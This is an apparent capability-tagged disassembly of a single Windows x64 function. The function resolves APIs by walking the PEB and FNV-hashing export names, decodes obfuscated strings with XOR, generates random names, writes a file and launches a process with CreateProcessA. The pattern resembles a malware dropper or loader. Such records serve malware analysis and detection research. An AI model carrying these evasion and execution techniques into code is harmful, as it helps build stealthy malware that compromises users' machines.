Function at 0x140006980
Capabilities:
Access peb ldr_data
Create process on windows
Encode data using xor
Generate random numbers using a mersenne twister
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x1b88]
mov eax, 0x1c60
call fcn.1400120f0
sub rsp, rax
mov rax, qword [0x14001d008]
xor rax, rsp
mov qword [rbp + 0x1b50], rax
xor r12d, r12d
mov dword [rsp + 0x50], r12d
mov r13d, r12d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rdi, qword [rax + 0x30]
movsxd rcx, dword [rdi + 0x3c]
mov r9d, dword [rcx + rdi + 0x88]
add r9, rdi
cmp r9, rdi
je 0x140006a3e
mov r8d, dword [r9 + 0x18]
test r8d, r8d
je 0x140006a3e
mov ebx, dword [r9 + 0x20]
dec r8d
mov r10d, 0x4d41c445
lea rcx, [rbx + r8*4]
mov edx, dword [rcx + rdi]
add rdx, rdi
mov cl, byte [rdx]
inc rdx
test cl, cl
je 0x140006a39
movsx ecx, cl
xor ecx, r10d
imul r10d, ecx, 0x1000193
mov cl, byte [rdx]
inc rdx
test cl, cl
jne 0x140006a1a
cmp r10d, 0x414e2e71
je 0x140006a43
test r8d, r8d
jne 0x1400069fe
mov rax, qword [rax]
jmp 0x1400069d9
mov ecx, dword [r9 + 0x24]
add rcx, rdi
movzx edx, word [rcx + r8*2]
mov ecx, dword [r9 + 0x1c]
add rcx, rdi
mov eax, dword [rcx + rdx*4]
lea rdx, [rbp + 0x1a40]
add rax, rdi
mov ecx, 0x104
call rax
cmp byte [0x14001436b], r12b
mov eax, dword [str.ecr5]
mov dword [rsp + 0x50], eax
je 0x140006ab1
mov rdi, r12
movabs r12, 0x4ec4ec4ec4ec4ec5
mov rax, r12
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rsp + rdi + 0x50], al
inc rdi
cmp rdi, 4
jb 0x140006a8a
xor r12d, r12d
or rsi, 0xffffffffffffffff
mov qword [rbp + 0x10], r12
mov rdi, rsi
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], setsockopt
lea rax, [rsp + 0x50]
inc rdi
cmp byte [rax + rdi], r12b
jne 0x140006acd
lea rcx, [rbp + 0x10]
cmp rdi, 0xf
ja 0x140006af8
mov r8, rdi
mov qword [rbp + 0x20], rdi
lea rdx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0x10], r12b
jmp 0x140006b05
lea r9, [rsp + 0x50]
mov rdx, rdi
call fcn.14000c09c
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x1a40]
lea rcx, [rbp + 0x1d0]
call fcn.14000ad48
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140006b5a
mov rcx, qword [rbp + 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006b55
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140006b55
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011524
cmp qword [rbp + 0x1e8], 0x10
lea r15, [rbp + 0x1d0]
mov r14, rsi
cmovae r15, qword [rbp + 0x1d0]
inc r14
cmp byte [r15 + r14], r12b
jne 0x140006b74
call fcn.140010a9c
movdqa xmm0, xmmword [0x140014a60]
xor edi, edi
mov edx, edi
mov r12d, eax
mov qword [rbp - 0x78], rdx
movdqu xmmword [rbp - 0x68], xmm0
test r14, r14
je 0x140006c7d
cmp r14, 0x7fffffff
ja 0x140007b4a
xor r9d, r9d
mov dword [rsp + 0x20], edi
mov r8d, r14d
mov rdx, r15
mov ecx, eax
call fcn.140010ac4
mov rbx, rax
shr rax, 0x20
test eax, eax
jne 0x140007b50
mov r8, qword [rbp - 0x68]
movsxd rcx, ebx
cmp rcx, r8
ja 0x140006bf7
cmp qword [rbp - 0x60], 8
lea rax, [rbp - 0x78]
mov qword [rbp - 0x68], rcx
cmovae rax, qword [rbp - 0x78]
mov word [rax + rcx*2], di
jmp 0x140006c48
mov rax, qword [rbp - 0x60]
mov rdx, rcx
sub rdx, r8
sub rax, r8
cmp rdx, rax
ja 0x140006c3c
cmp qword [rbp - 0x60], 8
lea r9, [rbp - 0x78]
mov qword [rbp - 0x68], rcx
cmovae r9, qword [rbp - 0x78]
xor r10d, r10d
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140006c31
movzx eax, r10w
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], r10w
jmp 0x140006c48
mov r9, rdx
lea rcx, [rbp - 0x78]
call fcn.14000bc7c
cmp qword [rbp - 0x60], 8
lea r9, [rbp - 0x78]
mov r8d, r14d
mov dword [rsp + 0x20], ebx
cmovae r9, qword [rbp - 0x78]
mov rdx, r15
mov ecx, r12d
call fcn.140010ac4
shr rax, 0x20
xor r15d, r15d
test eax, eax
jne 0x140007b58
mov rdx, qword [rbp - 0x78]
jmp 0x140006c80
xor r15d, r15d
cmp qword [rbp - 0x60], 8
lea rcx, [rbp - 0x78]
cmovae rcx, rdx
call fcn.140010fac
movzx ecx, al
shr rax, 0x20
mov qword [rbp + 0x230], rcx
lea rcx, [0x14001d048]
mov qword [rbp + 0x98], rcx
mov dword [rbp + 0x90], eax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x160], xmm0
cmp eax, 0x91
jne 0x140006ce1
lea r8, [rbp + 0x230]
lea rdx, [rbp + 0x160]
lea rcx, [rbp - 0x78]
call fcn.140006244
cmp dword [rbp + 0x160], r15d
jne 0x140007b39
lea rcx, [rbp - 0x78]
call fcn.1400099c0
mov rax, qword gs:[0x60]
lea r11, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], 0x10
cmovae r11, qword [rbp + 0x1d0]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x140006d88
mov edi, dword [r9 + 0x18]
test edi, edi
je 0x140006d88
mov r14d, dword [r9 + 0x20]
mov r12d, 1
dec edi
mov r10d, 0xc8e5f1aa
lea rcx, [r8 + rdi*4]
mov edx, dword [rcx + r14]
add rdx, r8
mov cl, byte [rdx]
add rdx, r12
test cl, cl
je 0x140006d84
movsx ecx, cl
xor ecx, r10d
imul r10d, ecx, 0x1000193
mov cl, byte [rdx]
add rdx, r12
test cl, cl
jne 0x140006d65
cmp r10d, 0x4dafe8ec
je 0x140006d8d
test edi, edi
jne 0x140006d49
mov rax, qword [rax]
jmp 0x140006d1f
mov edx, dword [r9 + 0x24]
mov rcx, r11
add rdx, r8
movzx edi, word [rdx + rdi*2]
mov edx, dword [r9 + 0x1c]
add rdx, r8
mov eax, dword [rdx + rdi*4]
xor edx, edx
add rax, r8
call rax
mov eax, dword [0x140013f80]
mov rdi, r15
movups xmm0, xmmword [0x140013f70]
mov dword [rbp + 8], eax
movabs rbx, 0x4ec4ec4ec4ec4ec5
movzx eax, word [0x140013f84]
mov word [rbp + 0xc], ax
mov al, byte [0x140013f86]
mov byte [rbp + 0xe], al
movups xmmword [rbp - 8], xmm0
mov rax, rbx
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rbp + rdi - 8], al
add rdi, r12
cmp rdi, 0x17
jb 0x140006de1
mov r14d, select
mov qword [rbp + 0x30], r15
mov qword [rbp + 0x48], r14
lea rax, [rbp - 8]
mov qword [rbp + 0x40], r15
mov rdi, rsi
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140006e1e
lea rcx, [rbp + 0x30]
cmp rdi, r14
ja 0x140006e47
mov r8, rdi
mov qword [rbp + 0x40], rdi
lea rdx, [rbp - 8]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi + 0x30], r15b
jmp 0x140006e53
lea r9, [rbp - 8]
mov rdx, rdi
call fcn.14000c09c
mov eax, dword [0x140014040]
mov rdi, r15
movsd xmm0, qword [0x140014038]
mov dword [rsp + 0x78], eax
mov al, byte [0x140014044]
mov byte [rsp + 0x7c], al
movsd qword [rsp + 0x70], xmm0
mov rax, rbx
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rsp + rdi + 0x70], al
add rdi, r12
cmp rdi, 0xd
jb 0x140006e78
mov qword [rbp - 0x58], r15
lea rax, [rsp + 0x70]
mov qword [rbp - 0x48], r15
mov rdi, rsi
mov qword [rbp - 0x40], r14
inc rdi
cmp byte [rax + rdi], r15b
jne 0x140006eb0
lea rcx, [rbp - 0x58]
cmp rdi, r14
ja 0x140006eda
mov r8, rdi
mov qword [rbp - 0x48], rdi
lea rdx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rdi - 0x58], r15b
jmp 0x140006ee7
lea r9, [rsp + 0x70]
mov rdx, rdi
call fcn.14000c09c
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
or dword [rbp + 0x1a34], 0xffffffff
mov rdx, r12
mov dword [rbp + 0x6b4], eax
mov edi, 0x270
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x6b4], eax
add rdx, r12
cmp rdx, rdi
jb 0x140006f02
mov dword [rbp + 0x6b0], edi
mov ebx, 0x86186187
lea rcx, [rbp + 0x6b0]
call fcn.14000e674
mov edi, eax
mov eax, ebx
mul edi
mov ecx, edi
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 4
cmp ecx, 0xc30c30c
jae 0x140006f2b
mov eax, ebx
lea rcx, [rbp + 0xc0]
mul edi
mov eax, edi
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 4
imul eax, eax, 0x15
sub edi, eax
lea eax, [rdi + 5]
movsxd rdx, eax
call fcn.1400065d0
cmp byte [0x140014381], r15b
mov rbx, rax
movzx ecx, word [0x140014380]
mov word [rsp + 0x50], cx
je 0x140006fbf
mov rdi, r15
movabs r8, 0x4ec4ec4ec4ec4ec5
mov rax, r8
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rsp + rdi + 0x50], al
add rdi, r12
cmp rdi, 2
jb 0x140006f9b
mov qword [rbp - 0x28], r15
lea rax, [rsp + 0x50]
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r14
inc rsi
cmp byte [rax + rsi], r15b
jne 0x140006fd0
lea rcx, [rbp - 0x28]
cmp rsi, r14
ja 0x140006ffa
mov r8, rsi
mov qword [rbp - 0x18], rsi
lea rdx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rsi - 0x28], r15b
jmp 0x140007007
lea r9, [rsp + 0x50]
mov rdx, rsi
call fcn.14000c09c
mov esi, select
lea rdx, [rbp + 0x1d0]
cmp qword [rbp + 0x1e8], rsi
lea r8, [rbp - 0x28]
lea rcx, [rbp + 0xa0]
cmovae rdx, qword [rbp + 0x1d0]
call fcn.14000ad48
mov r8, rbx
lea rcx, [rbp + 0x100]
mov rdx, rax
call fcn.14000a790
xor edx, edx
lea rcx, [rbp + 0x240]
mov r8d, 0x1f0
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
movzx ecx, word [0x140014928]
mov rdi, r15
mov word [rsp + 0x54], cx
movabs r15, 0x4ec4ec4ec4ec4ec5
mov cl, byte [0x14001492a]
mov byte [rsp + 0x56], cl
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rsp + rdi + 0x54], al
add rdi, r12
cmp rdi, 3
jb 0x14000707e
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x120]
call fcn.140009c8c
mov r9d, r12d
lea r8, [rsp + 0x54]
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14000b228
mov rax, qword [rbp + 0x3b0]
mov r15, r13
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x3c0], 6
je 0x1400070fb
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x180], r13
mov qword [rbp + 0x188], r14
jmp 0x1400075ce
mov eax, dword [0x1400149d0]
mov rdi, r15
mov dword [rsp + 0x60], eax
movabs r15, 0x4ec4ec4ec4ec4ec5
mov al, byte [0x1400149d4]
mov byte [rsp + 0x64], al
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rsp + rdi + 0x60], al
add rdi, r12
cmp rdi, 5
jb 0x14000711c
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x3c0]
call fcn.14000abd8
mov rcx, rax
lea rdx, [rbp + 0x30]
call fcn.14000b390
movsd xmm0, qword [0x140014390]
xor r15d, r15d
cmp byte [0x14001439b], r15b
mov r8, rax
mov ecx, dword [str._n66]
movsd qword [rbp - 0x38], xmm0
mov dword [rbp - 0x30], ecx
je 0x1400071b6
mov edi, r15d
movabs r15, 0x4ec4ec4ec4ec4ec5
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rbp + rdi - 0x38], al
add rdi, r12
cmp rdi, 0xc
jb 0x14000718f
xor r15d, r15d
lea rdx, [rbp - 0x38]
mov rcx, r8
call fcn.14000abd8
mov eax, dword [str.zGA_f]
mov rdi, r15
mov dword [rsp + 0x68], eax
movabs r15, 0x4ec4ec4ec4ec4ec5
movzx eax, word [0x14001450c]
mov word [rsp + 0x6c], ax
mov al, byte [0x14001450e]
mov byte [rsp + 0x6e], al
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rsp + rdi + 0x68], al
add rdi, r12
cmp rdi, 7
jb 0x1400071ef
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3c0]
call fcn.14000abd8
mov rcx, rax
lea rdx, [rbp - 0x58]
call fcn.14000b390
movzx ecx, word [0x140014568]
xor r15d, r15d
mov word [rsp + 0x58], cx
mov edi, r15d
mov cl, byte [0x14001456a]
mov r8, rax
mov byte [rsp + 0x5a], cl
movabs r15, 0x4ec4ec4ec4ec4ec5
mov rax, r15
mul rdi
shr rdx, 4
movsx ecx, dl
imul eax, ecx, 0x34
mov cl, dil
sub cl, al
add cl, 0x32
xor byte [rsp + rdi + 0x58], cl
add rdi, r12
cmp rdi, 3
jb 0x140007259
lea rdx, [rsp + 0x58]
mov rcx, r8
call fcn.14000abd8
movups xmm0, xmmword [0x140014370]
xor r15d, r15d
movdqu xmmword [rbp + 0x160], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1400072e0
mov edi, r15d
movabs r15, 0x4ec4ec4ec4ec4ec5
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rbp + rdi + 0x160], al
add rdi, r12
cmp rdi, rsi
jb 0x1400072b7
xor r15d, r15d
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x3c0]
call fcn.14000abd8
cmp byte [0x14001487b], r15b
movups xmm0, xmmword [str.qZ_STLPUU]
mov eax, dword [0x140014878]
mov dword [rbp + 0x60], eax
movups xmmword [rbp + 0x50], xmm0
je 0x140007344
mov rdi, r15
movabs r15, 0x4ec4ec4ec4ec4ec5
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rbp + rdi + 0x50], al
add rdi, r12
cmp rdi, 0x14
jb 0x14000731d
xor r15d, r15d
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x3c0]
call fcn.14000abd8
movups xmm0, xmmword [str.g_QGev_TO]
mov rdi, r15
mov al, byte [0x140014770]
movsd xmm1, qword [0x140014768]
movabs r15, 0x4ec4ec4ec4ec4ec5
movups xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x80], al
movsd qword [rbp + 0x78], xmm1
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rbp + rdi + 0x68], al
add rdi, r12
cmp rdi, 0x19
jb 0x140007385
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x3c0]
call fcn.14000abd8
xor r15d, r15d
mov qword [rbp + 0x1c8], r14
lea rdx, [rbp + 0x1b0]
mov qword [rbp + 0x1b0], r15
lea rcx, [rbp + 0x3b0]
mov qword [rbp + 0x1c0], r15
call fcn.14000b3a4
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x3b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_int____ptr64____ptr64]
lea rdx, [rbp + 0x190]
mov qword [rbp + 0x190], r15
lea rcx, [rbp + 0x3b0]
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], r14
call fcn.14000b578
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0x3c0], 6
je 0x1400074c1
mov eax, dword [str.zg_e]
mov edi, r15d
mov dword [rbp - 0x80], eax
movabs r15, 0x4ec4ec4ec4ec4ec5
movzx eax, word [0x1400140bc]
mov word [rbp - 0x7c], ax
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rbp + rdi - 0x80], al
add rdi, r12
cmp rdi, 6
jb 0x14000745a
lea rax, [rsp + 0x5c]
mov r9d, 5
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0xe0]
call fcn.14000a50c
lea rdx, [rbp - 0x80]
mov r13d, r12d
lea rcx, [rbp + 0xe0]
call fcn.14000dda0
xor r15d, r15d
mov dil, r12b
test al, al
je 0x1400074c4
mov dil, r15b
test r12b, r13b
mov r13d, 0x1000
je 0x14000750e
mov rdx, qword [rbp + 0xf8]
cmp rdx, rsi
jb 0x14000750e
mov rcx, qword [rbp + 0xe0]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x140007509
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007509
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011524
test dil, dil
je 0x14000787f
mov qword [rbp + 0x170], r15
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], r14
mov rdx, qword [rbp + 0x1a8]
cmp rdx, rsi
jb 0x140007568
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x140007563
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079c8
call fcn.140011524
mov rdx, qword [rbp + 0x1c8]
mov byte [rbp + 0x190], r15b
mov qword [rbp + 0x1a8], r14
mov qword [rbp + 0x1a0], r15
cmp rdx, rsi
jb 0x1400075b9
mov rcx, qword [rbp + 0x1b0]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x1400075b4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079c8
call fcn.140011524
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], r14
mov byte [rbp + 0x1b0], r15b
lea rcx, [rbp + 0x3d0]
call fcn.140006958
lea rcx, [rbp + 0x3d0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
cmp qword [rbp + 0x188], rsi
lea rdx, [rbp + 0x170]
lea rcx, [0x1400139fc]
cmovae rdx, qword [rbp + 0x170]
call fcn.1400012f4
mov rdx, rbx
lea rcx, [rbp + 0x1f0]
call fcn.140009c8c
xor edx, edx
lea rcx, [rbp + 0x5a0]
mov r8d, 0x108
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x40
mov dword [rsp + 0x20], r12d
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0x5a0]
lea r8d, [r9 - 0x20]
call fcn.140008644
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x5a0]
call fcn.14000b390
lea rcx, [rbp + 0x5a0]
call fcn.1400085b4
lea rcx, [rbp + 0x648]
call fcn.1400085e8
lea rcx, [rbp + 0x648]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x188]
mov r12d, 0x1000
cmp rdx, rsi
jb 0x1400076c8
mov rcx, qword [rbp + 0x170]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x1400076c3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079cf
call fcn.140011524
mov rdx, qword [rbx + 0x18]
mov qword [rbp + 0x180], r15
mov qword [rbp + 0x188], r14
mov byte [rbp + 0x170], r15b
cmp rdx, rsi
jb 0x140007712
mov rcx, qword [rbx]
inc rdx
cmp rdx, r12
jb 0x14000770d
mov rdi, qword [rcx - 8]
add rdx, 0x27
sub rcx, rdi
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400079cf
mov rcx, rdi
call fcn.140011524
mov qword [rbx + 0x10], r15
mov qword [rbx + 0x18], r14
mov byte [rbx], r15b
mov rdx, qword [rbp + 0xb8]
cmp rdx, rsi
jb 0x140007759
mov rcx, qword [rbp + 0xa0]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x140007754
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007878
call fcn.140011524
mov rdx, qword [rbp - 0x10]
mov qword [rbp + 0xb0], r15
mov qword [rbp + 0xb8], r14
mov byte [rbp + 0xa0], r15b
cmp rdx, rsi
jb 0x1400077a4
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x14000779f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007878
call fcn.140011524
mov rdx, qword [rbp + 0xd8]
mov qword [rbp - 0x18], r15
mov qword [rbp - 0x10], r14
mov byte [rbp - 0x28], r15b
cmp rdx, rsi
jb 0x1400077ec
mov rcx, qword [rbp + 0xc0]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x1400077e7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007878
call fcn.140011524
mov rdx, qword [rbp - 0x40]
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xd8], r14
mov byte [rbp + 0xc0], r15b
cmp rdx, rsi
jb 0x140007833
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x14000782e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007878
call fcn.140011524
mov rdx, qword [rbp + 0x48]
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x40], r14
mov byte [rbp - 0x58], r15b
cmp rdx, rsi
jb 0x1400079db
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x1400079d6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400079d6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [rbp + 0x210], r15
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x228], r14
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x3b0]
call fcn.14000b578
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
jne 0x140007913
cmp byte [0x14001487d], r15b
movzx eax, word [0x14001487c]
mov word [rsp + 0x50], ax
je 0x1400078fe
mov rdi, r15
movabs r15, 0x4ec4ec4ec4ec4ec5
mov rax, r15
mul rdi
shr rdx, 4
movsx eax, dl
imul ecx, eax, 0x34
mov al, dil
sub al, cl
add al, 0x32
xor byte [rsp + rdi + 0x50], al
add rdi, r12
cmp rdi, 2
jb 0x1400078d7
xor r15d, r15d
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x210]
call fcn.14000dda0
test al, al
je 0x140007894
xor edx, edx
lea rcx, [rbp + 0x4a0]
mov r8d, 0xf8
call sub.VCRUNTIME140.dll_memset
mov edx, r12d
lea rcx, [rbp + 0x4a0]
call fcn.140008840
lea rdx, [rbp + 0x240]
lea rcx, [rbp + 0x4b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x4b8]
call fcn.14000a448
lea rcx, [rbp + 0x538]
call fcn.1400087e8
lea rcx, [rbp + 0x538]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rdx, qword [rbp + 0x228]
cmp rdx, rsi
jb 0x1400079ae
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, r13
jb 0x1400079a9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400079c8
call fcn.140011524
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x228], r14
mov byte [rbp + 0x210], r15b
jmp 0x14000752c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011524
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
cmp qword [rbp + 0x208], rsi
lea rdi, [rbp + 0x1f0]
lea rcx, [rbp + 0x434]
cmovae rdi, qword [rbp + 0x1f0]
xor edx, edx
lea r8d, [rdx + 0x64]
call sub.VCRUNTIME140.dll_memset
xor eax, eax
mov dword [rbp + 0x430], WSASetLastError
mov qword [rbp + 0x150], rax
xorps xmm0, xmm0
lea rax, [rbp + 0x140]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp + 0x430]
xor edx, edx
mov qword [rsp + 0x40], rax
mov rcx, rdi
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
movups xmmword [rbp + 0x140], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x140]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x148]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x208]
cmp rdx, rsi
jb 0x140007ab5
mov rcx, qword [rbp + 0x1f0]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x140007ab0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140007afd
call fcn.140011524
mov rdx, qword [rbp + 0x1e8]
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], r14
mov byte [rbp + 0x1f0], r15b
cmp rdx, rsi
jb 0x140007b09
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, r12
jb 0x140007b04
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140007b04
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011524
mov rcx, qword [rbp + 0x1b50]
xor rcx, rsp
call fcn.140011270
lea r11, [rsp + 0x1c60]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea r8, [rbp - 0x78]
lea rdx, [rbp + 0x160]
call fcn.140006058
int3
call fcn.140001a34
int3
mov ecx, eax
call fcn.140005690
int3
mov ecx, eax
call fcn.140005690
int3